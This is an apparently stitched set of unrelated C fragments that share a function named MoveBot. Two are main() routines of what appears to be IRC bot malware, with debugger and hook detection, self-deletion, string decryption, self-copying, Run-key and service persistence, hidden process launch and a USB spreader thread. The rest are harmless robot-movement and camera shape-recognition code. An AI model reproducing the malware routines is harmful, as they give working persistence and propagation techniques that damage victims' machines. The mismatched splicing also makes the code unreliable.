int main(int argc, char *argv[]) #endif { char msg[256]; LoadDLLs(); unsigned char szBytes[] = { 0xc8, 0x0, 0x4, 0x0, 0x60 }; DWORD dwAddr = (DWORD)GetProcAddress(LoadLibrary("user32.dll"), "MessageBoxA"); if(!memcmp((LPVOID)dwAddr, (LPVOID)szBytes, sizeof(szBytes))) { ExitProcess(0); } #ifndef NO_SERVICE SERVICE_TABLE_ENTRY servicetable[] = { {servicename, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; #endif char cpbot[MAX_PATH]; char movetopath[MAX_PATH]; char spath[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), cpbot, sizeof(cpbot)); ExpandEnvironmentStrings(gotopth,movetopath,sizeof(movetopath)); sprintf(spath,"%s\\%s",movetopath,exename); #ifndef _DEBUG if (MoveBot(movetopath,exename)) { HKEY hndKey = NULL; RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL); RegSetValueEx(hndKey,szRegname,0, REG_SZ,(const unsigned char *)exename,strlen(exename)); RegCloseKey(hndKey); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; ZeroMemory(&pinfo,sizeof(pinfo)); ZeroMemory(&sinfo,sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; sinfo.wShowWindow = SW_HIDE; if (CreateProcess(spath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo)) { Sleep(200); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); fWSACleanup(); ExitProcess(EXIT_SUCCESS); } ExitProcess(1); } #endif // _DEBUG #ifndef NO_SERVICE if(fStartServiceCtrlDispatcher(servicetable) == 0) InstallService(spath); #else DWORD id; NTHREAD usb; usb.conn = &mainirc; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)USB_Spreader, &usb, 0, &id); // Execute USB spread on install. HANDLE threadhandle; if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Bthd, NULL, 0, &id)) == 0) return 0; WaitForSingleObject(threadhandle, INFINITE); CloseHandle(threadhandle); return 0; #endif // NO_SERVICE #ifdef _DEBUG #endif return 0; }
void moveBackward() { MoveBot(BACK); }
// Each of the above rotate/move functions stays ON until stopMovement() is called void stopMovement() { MoveBot(STOP); }
void moveForward(int dist) { MoveBot(FORWARD); //WaitUs(dist*LOOP_FORWARD); stopMovement(); }
void rotateRight(int deg) { MoveBot(RIGHT); //WaitUs(deg/10*LOOP_ROTATE); stopMovement(); }
void rotateLeft(int deg) { MoveBot(LEFT); //WaitUs(deg/10*LOOP_ROTATE); stopMovement(); }
int main(int argc, char *argv[]) #endif { LoadDLLs(); #ifndef NO_DDETECT if(IsBugged()) { EraseMe(TRUE); ExitProcess(1); } #endif #ifndef NO_CRYPT decryptstrings(authsize, versionsize, serversize); #endif #ifndef NO_SERVICE SERVICE_TABLE_ENTRY servicetable[] = { {servicename, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; #endif //TODO: Error handler here #ifndef _DEBUG fSetErrorMode(SEM_NOGPFAULTERRORBOX); #endif char cfilename[MAX_PATH]; char movetopath[MAX_PATH]; char svcpath[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename)); ExpandEnvironmentStrings(movepath,movetopath,sizeof(movetopath)); sprintf(svcpath,"%s\\%s",movetopath,filename); #ifndef _DEBUG if (MoveBot(movetopath,filename)) { #ifndef NO_MELT RegWrite(meltkey.hkey,meltkey.subkey,meltkey.name,cfilename); #endif // NO_MELT #ifndef NO_SERVICE InstallService(svcpath); #else RegWrite(runkey.hkey,runkey.subkey,runkey.name,svcpath); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; ZeroMemory(&pinfo,sizeof(pinfo)); ZeroMemory(&sinfo,sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; #ifdef _DEBUG sinfo.wShowWindow = SW_SHOW; #else sinfo.wShowWindow = SW_HIDE; #endif // _DEBUG if (CreateProcess(svcpath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo)) { Sleep(200); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); fWSACleanup(); ExitProcess(EXIT_SUCCESS); } #endif // NO_SERVICE ExitProcess(1); } #endif // _DEBUG #ifndef NO_SERVICE if(fStartServiceCtrlDispatcher(servicetable) == 0) InstallService(svcpath); #else DWORD id; HANDLE threadhandle; if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BotThread, NULL, 0, &id)) == 0) return 0; WaitForSingleObject(threadhandle, INFINITE); CloseHandle(threadhandle); #endif // NO_SERVICE #ifdef _DEBUG // CloseLog(); #endif return 0; }
int main (void) { UInt8 i=0,Nb_Identify=0; // List of form Form ListOfForm[MAX_OF_FORM]; // Struct of three pointers on the RGB components UInt8 * FrameFromCam; //The pixels will be stocked in the LCD buffer UInt8 LCD_Buffer [LCD_WIDTH*LCD_HEIGHT*BITS] ; GraphicBuffer ScreenBuffer ; // System and LCD screen initialization InitPobeye2(); InitI2C(I2C_100_KHZ); InitCameraPobeye2(); InitLCD(); InitPobProto(); SwitchOnAllServo(); // Get the pointer of the red,green and blue video buffer FrameFromCam = GetRGBFrame(); // Init the Graphic buffer with 128 per 64, one pixel per bit and LCD_Buffer InitGraphicBuffer( &ScreenBuffer, LCD_WIDTH,LCD_HEIGHT,ONE_BIT,LCD_Buffer); // clear the graphic buffer ClearGraphicBuffer(&ScreenBuffer); while(1) { // grab the RGB components GrabRGBFrame(); // Binary the three RGB Buffer BinaryRGBFrame(FrameFromCam); // Try to identify the forms and make a list of it Nb_Identify=IdentifyForm(FrameFromCam,ListOfForm,pattern); // Parse the list of the form and print result on the Pob-Terminal and the LCD Screen for (i=0;i<Nb_Identify;i++) { switch (ListOfForm[i].id) { case IDP_0_CROSS: // Draw bitmap on the buffer and the LCD screen DrawBitmap(0,0,IDB_CROSS,bitmap,&ScreenBuffer); DrawLCD(&ScreenBuffer); MoveBot(RUN); break; // case IDP_1_BIGA: // DrawBitmap(0,0,IDB_BIGA,bitmap,&ScreenBuffer); // DrawLCD(&ScreenBuffer); // break; case IDP_2_KING: DrawBitmap(0,0,IDB_KING,bitmap,&ScreenBuffer); DrawLCD(&ScreenBuffer); MoveBot(LEFT); break; // case IDP_3_TOWER: // DrawBitmap(0,0,IDB_TOWER,bitmap,&ScreenBuffer); // DrawLCD(&ScreenBuffer); // break; // case IDP_4_TREFLE: // DrawBitmap(0,0,IDB_BIGA,bitmap,&ScreenBuffer); // DrawLCD(&ScreenBuffer); // break; // case IDP_5_TRIANGLE: // DrawBitmap(0,0,IDB_TRIANGLE,bitmap,&ScreenBuffer); // DrawLCD(&ScreenBuffer); // break; default: MoveBot(STOP); break; } } if (Nb_Identify == 0) { DrawBitmap(0,0,IDB_NOFORMS,bitmap,&ScreenBuffer); DrawLCD(&ScreenBuffer); } } return 0; }